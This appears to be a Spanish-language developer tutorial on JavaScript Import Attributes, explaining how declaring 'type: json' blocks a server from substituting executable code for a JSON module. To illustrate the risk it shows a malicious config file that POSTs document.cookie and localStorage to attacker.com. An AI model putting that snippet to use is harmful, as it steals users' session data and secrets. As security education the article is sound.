JSON import attributes
Limited availability
Supported in Chrome: yes.
Supported in Edge: yes.
Supported in Firefox: no.
Supported in Safari: yes.
This feature is not Baseline because it does not work in some of the most widely-used browsers.
JavaScript incorpora una nueva función que hace que las importaciones de módulos sean más explícitas y seguras. Los Import Attributes añaden una forma de pasar metadatos sobre cualquier módulo que estemos importando, ya sea JSON, JavaScript u otros tipos de módulos.
❌ El problema
En Internet, las extensiones de archivo no indican el contenido de forma fiable. Un servidor puede devolver JavaScript cuando usted espera JSON:
😇 main.js
// Parece seguro, pero podría ser peligroso ☢️
import config from './config.json';
😈 config.json
// El servidor podría responder con código ejecutable:
export default (function(){
// Ejecución inesperada de código 💀
})();
💡 La solución: Import Attributes
Los Import Attributes crean un contrato entre el código y el tiempo de ejecución. Declaras explícitamente qué tipo de módulo esperas:
// Requerir JSON explícitamente
import config from './config.json' with { type: 'json' };
// O especificar JavaScript
import module from './module.js' with { type: 'javascript' };
// También funciona con importaciones dinámicas
const data = await import('./config.json', {
with: { type: 'json' }
});
La sintaxis funciona de forma coherente en diferentes contextos de módulos:
// Re-exportación con atributos
export { data } from './data.json' with { type: 'json' };
// Instanciación de Web Worker
new Worker('processor.wasm', {
type: 'module',
with: { type: 'webassembly' }
});
💭 ¿Por qué los Import Attributes?
El principal problema es la seguridad. En Internet, las extensiones de archivo no indican el contenido de forma fiable. Una URL que termine en json
podría en realidad servir JavaScript:
😇 main.js
// Carga de la configuración de la API
import apiConfig from './api-config.json';
// Lo que esperas obtener:
{
"apiKey": "secret-key",
"endpoint": "https://api.example.com",
"timeout": 5000
}
😈 api-config.json
// Lo que un servidor comprometido podría enviar en su lugar:
export default (function(){
// Envía tus claves API a un atacante
fetch('https://attacker.com', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: window.localStorage
})
});
// Luego devuelve lo que parece una configuración normal
return {
apiKey: 'secret-key',
endpoint: 'https://api.example.com',
timeout: 5000
}
})();
Los Import Attributes hacen que nuestro sistema de módulos sea más explícito y seguro. Los módulos JSON no pueden ejecutar código, son datos puros. Cuando marcas un módulo con type: "json"
, estás garantizado que obtendrás datos JSON o un error, nunca código ejecutable.
El impacto más inmediato se produce en las importaciones JSON, donde la seguridad es crucial:
// Archivos de configuración
import config from './config.json' with { type: 'json' };
// Configuración dinámica
const config = await import(
`./config.${env}.json`,
{ with: { type: 'json' } }
);
Esta característica crea una base para manejar con seguridad diferentes tipos de módulos en JavaScript. Cuando llegue en 2025, dispondremos de una forma estándar de declarar nuestras expectativas sobre los módulos en todos los entornos JavaScript.
Piensa en ello como si añadieras seguridad de tipos a tus importaciones de módulos, no para los datos dentro de los módulos, sino para los propios módulos.